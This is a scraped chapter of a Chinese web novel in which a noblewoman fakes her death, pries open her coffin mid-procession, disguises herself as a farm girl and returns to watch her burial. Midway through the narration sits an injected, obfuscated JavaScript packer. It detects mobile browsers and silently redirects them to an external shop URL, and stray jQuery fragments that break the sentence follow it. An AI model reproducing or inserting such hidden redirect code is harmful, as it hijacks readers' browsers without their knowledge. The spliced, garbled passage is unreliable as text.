文趣网 > 其他小说 > 贵女她很会装死 > 3. 第 3 章
    次日清晨,小厮揉着发痛的后脑勺抬头,嘶嘶吸气,小声嘀咕着“我怎么睡过去了?”,赶忙跑去灵堂查看。

    点了一夜的蜡烛还燃着微弱烛光,谢临章躺在棺内一副死人样,并无明显异常。

    小厮抽掉门闩,吱呀打开大门,跑去找人换班。

    谢临章只睡了后半夜,不足四个小时,听见人出去了,捂着嘴打哈欠。

    蓝阙被她安排去做重要的准备了,现在灵堂只剩她一个人。

    她爬出棺材,在垒起来的贡品糕点里精挑细选了几个,塞进嘴里垫肚子,免得装着装着肚子打起惊天雷。

    快速吃完后,她又躺了回去,顺道拿陪葬的脂粉补了妆。

    根据蓝阙给出的信息,今天就是她盖棺下葬的日子。

    从溺水到下葬不过三天,如此迅捷,很难不让人怀疑其中猫腻。

    幸好她动作足够快,前脚刚躺好,后脚换班的小厮就回来了,还带着两个窃窃私语的丫鬟。

    丫鬟提着食盒来给灵堂的贡品换新的,也将快燃尽的蜡烛吹熄,换成长的。

    前边的丫鬟搬起装饴糖的碟子,竟塌了一块儿,惊诧道:“咦?这饴糖中间怎的空了?”

    谢临章捏了把汗。

    “是你手不稳,撞塌了吧。”移蜡烛的丫鬟背着身,看也不看就下定论。

    “哎,有可能。”那丫鬟动作更小心些。

    果然正常人是想不到她偷吃贡品的,谢临章松了口气。

    “手脚麻利些!”管家忽地进门督促两声,“老爷正要过来,莫要弄得磕碜!”

    丫鬟齐声应道:“是。”

    老爷?她祖父?

    谢临章立马打起精神,且听听老爷子是什么态度。

    正二品官服腰间系着素带,谢家家主谢躬行年过六十,眉眼间有些细纹却不见疲态,走起路来威风凛凛。

    谢躬行走至棺边,挥了手,管家、丫鬟连同后面进来的三五个侍卫都退了出去。

    看着平日素白的脸彻底失了颜色,谢躬行不禁失神,扶着棺沿低唤一声:“章儿……”

    短短两个字,谢临章听出了三分不舍、四分埋怨,以及一分悲痛。

    复杂的情绪很到位,谢临章给祖父打上表演艺术家的称号。

    谢躬行仰面叹息:“我谢家世代忠良,不求大功大德,但求无过。竟落得如此下场,后继无人。”

    谢临章察觉不对,祖父膝下一双儿女,她母亲死得早,大伯去年战死沙场,不是还有一个堂哥吗?

    怎么后继无人了?

    等等,她是不是吃到了什么瓜?!

    “章儿……”谢躬行抚上她的脸,“你若下去了,替祖父向你娘亲问好,当年之事怨不得谁,都是命数。”

    先不论当年,你孙女死了你不管?!

    谢临章刚在心里想完这茬,谢躬行的手离开她的脸,抬起步子走了,毫不拖泥带水。

    脚步声不轻不重,让人听不出情绪,丝毫没有停顿地远去了。

    紧接着管家的高呼:“恭送老爷。”

    谢临章不禁咋舌,那一家三口好歹还给她守孝,这老爷子丢两句谜语就走了??

    她躺了许久,再没听见人来的动静。

    但她肯定外头守着小厮,依旧保持一动不动。

    直至日上三竿,脚步纷杂,进来许多人,灵堂变得喧闹。

    熟悉的假哭开始扯耳朵,谢临章屏住呼吸任由入殓的给她整理仪容,好多双手在她身侧动来动去,似在摆放陪葬品。

    姨娘哭喊着:“章儿啊——你怎么就这么去了,叫姨娘怎么活啊!”

    谢舒芸紧跟其后,哭哭咽咽:“姐姐,你怎的如此想不开……舒芸还有好些话没同你说呢。”

    谢临章回想,谢舒芸平日也没同她说几句话。

    爹最后才开口,声音沙哑得像熬了一宿,“临章,是爹对不住你。”

    老戏骨。

    谢临章如是评价道。

    “钉棺——”管家拉长嗓子喊道。

    “咚——”锤子落下,敲得整个棺材都在震。

    “咚、咚咚咚……”

    一共四枚钉子敲定四角,谢临章躺在黑暗里慢慢睁眼,听着外头的哭喊、锤击混成一片,心里平静得像一潭死水。

    她昨晚让蓝阙在棺内劈了条几不可察的细缝,透过微弱的光线,可以呼吸,也可以眯眼窥视外面。

    按照原计划,她只需要装死直到下葬,再等人走光了蓝阙再把她挖出来,完完全全的假死脱身。

    但这个过程中,只要蓝阙稍慢一步她必死无疑,既然蓝阙舍得拿命殉情,她也可以赌一赌。

    不过……她不打算放真筹码。

    趁封棺的响动,谢临章轻手轻脚褪掉了外衣寿服,只剩里面的白衣;把头上的首饰、手上的金钏玉镯卸干净,推到一边,只留下对金耳环。

    最后一声锤响落下,她刚刚好做完一切,管家的声音再度响起:“封棺大吉——”

    哭声在这一刻达到了顶峰,白事的唢呐吹响,棺材被抬起来往外移动。

    谢临章的身躯随着棺材轻微晃动。

    她闭着眼睛回忆谢府的布局,以及出殡仪仗会经过哪些地方。

    从灵堂出发,绕过南苑从后门出去便是大街,谢府靠山临街,只有一条道去墓园,得穿过人声嘈杂的广安路口。

    路口左侧有家酒楼,前后分别是成衣铺、典当行;右侧岔过去一条步行街,有各种小摊商贩叫卖;正前是大道,车马繁多,必有停靠。

    抬棺的动作利索,将棺木抬上素白的马车,往里奋力一推,再在前后放置重石防止棺木滑动。

    马车起步,谢临章从细缝看出去,长长的白布帘子随风掀起一些,能依稀看见招魂幡、飘扬的纸钱。

    可以行动了。

    她摸索棺内的铜簪,握着一大把,分几根一组,攥成拇指粗细,一个钉一个钉撬。

    马车一缓,她就缓,走得快就加快速度,用车轱辘声掩盖撬棺的声音。

    把七支铁钉都撬松,谢临章暂时不动了,静等马车在广安路口停靠。

    饶是贵女出殡,也影响不到百姓生活,谢临章清楚听见叫卖声由远及近,马车渐渐停下。

    那鼎沸人声大得要盖过唢呐,仪仗又不服气吹敲得更响。

    正合她意!

    两脚用力一蹬,便把棺材盖踹开!

    谢临章从棺材出去,重新盖好,依照撬棺的法子,搬重石重新钉好棺木。

    当下只剩一个难题,马车周围都有人,她要怎么神不知鬼不觉地出去?

    谢临章坐在棺上沉思。

    有了

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17699477|208093||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    !

    她把石头和棺材都踹出去,把人全部引开不就行了!

    谢临章曲了曲自己的胳膊,感受力量。

    可以。

    重石滚落,人的第一反应必然是躲开,再根据表演魔术的障眼法原则……

    在爬墓园前的小坡时,谢临章一脚一个石头踹下马车,即刻听见外面的人惊呼四散,便以迅雷不及掩耳之势贴着棺材拱下去。

    等人的注意力从石头转移到棺材时,她已经钻到了马车下面。

    长长的白布帘子几乎遮全了她的躯体,眼瞧着连前面的仪仗都惊愕地去马车后面查看,她飞快地钻进小坡旁边的林子里。

    谢临章进了树林,当即把梳好的头发全部散下,就地扯根藤条扎起高马尾。

    再找来硬质的叶片刮掉脸上脂粉,临了找了个坑埋掉忘记脱的绣花鞋,抹了满脸土灰赤脚下山去。

    她的运气不错,走到山脚遇到一条小溪,上流有炊烟袅袅。

    谢临章在溪水里捞了石头,把金耳环砸扁,再把衣服扯得破破烂烂,忍痛割几道适中的口子。

    以遭山贼谋害的落魄样子,演了出戏,用耳环在那户人家里换到一套粗布麻衣、一双草鞋、一个布袋装着两个馒头和一串铜钱。

    并趁机从人家里顺条煤炭。

    换装结束,才去溪边洗干净脸,谢临章拿炭条化了个妆。

    她在景区里演的NPC可不只是铜人,什么小姐丫鬟少爷小厮,什么男女老少鬼通通演过,一个英眉土气的农家女妆信手拈来。

    “不错。”谢临章看着水里倒影,跟原来的自己相去甚远,满意地点头。

    “回去看自己下葬。”

    谢临章穿过树林回到小坡时,极为迷信的送葬队正围着她的棺材跳大神,像是在安抚她的亡魂。

    集体叩头之后,才把棺材搬回马车。

    看得谢临章很想笑。

    该死,现在不是笑的时候。

    她憋住笑意,鬼鬼祟祟跟在后面。

    本该陪同却提前出发的姨娘等人,在墓园里等了半天,好不容易瞧见马车。

    周姨娘忍不住骂道:“你们干什么吃的?送个棺材这么久!”

    旁边那个跟姨娘长相相似、水灵灵的姑娘想必是她的妹妹谢舒芸,也指着抬棺的颐指气使道:“快点快点,动作快点,这都快黄昏了还没好,我晚上还约了人呢!误了时辰,你们担得起吗!”

    仪仗队领头的汗流浃背,“方、方才,谢、谢小姐显灵了。”

    “显灵?!”谢舒芸不可置信,“怎么个显灵法?”

    领头的解释了一番,周姨娘和谢舒芸脸色剧变,青一阵白一阵。

    周姨娘强装镇定,“莫要胡说,定是你们照顾不周,马车嗑到石头了,才让棺材掉了出来。”

    送葬的所有人面面相觑,像是被说服了,纷纷点头,“周姨娘说的是。”

    周姨娘:“那便速速下葬吧!”

    众人:“是。”

    “慢着!”

    一道沉澈的嗓音骤然响起。

    随之而来一匹奔腾驰骏的马,急急吁停,上面坐着位身躯挺拔的青年,身穿一袭白衣,朗眉星目,以白玉束起发冠。

    手提长枪指向周姨娘,尖头寒光凛冽,他道:“堂妹死得蹊跷!定是你等所行不轨!”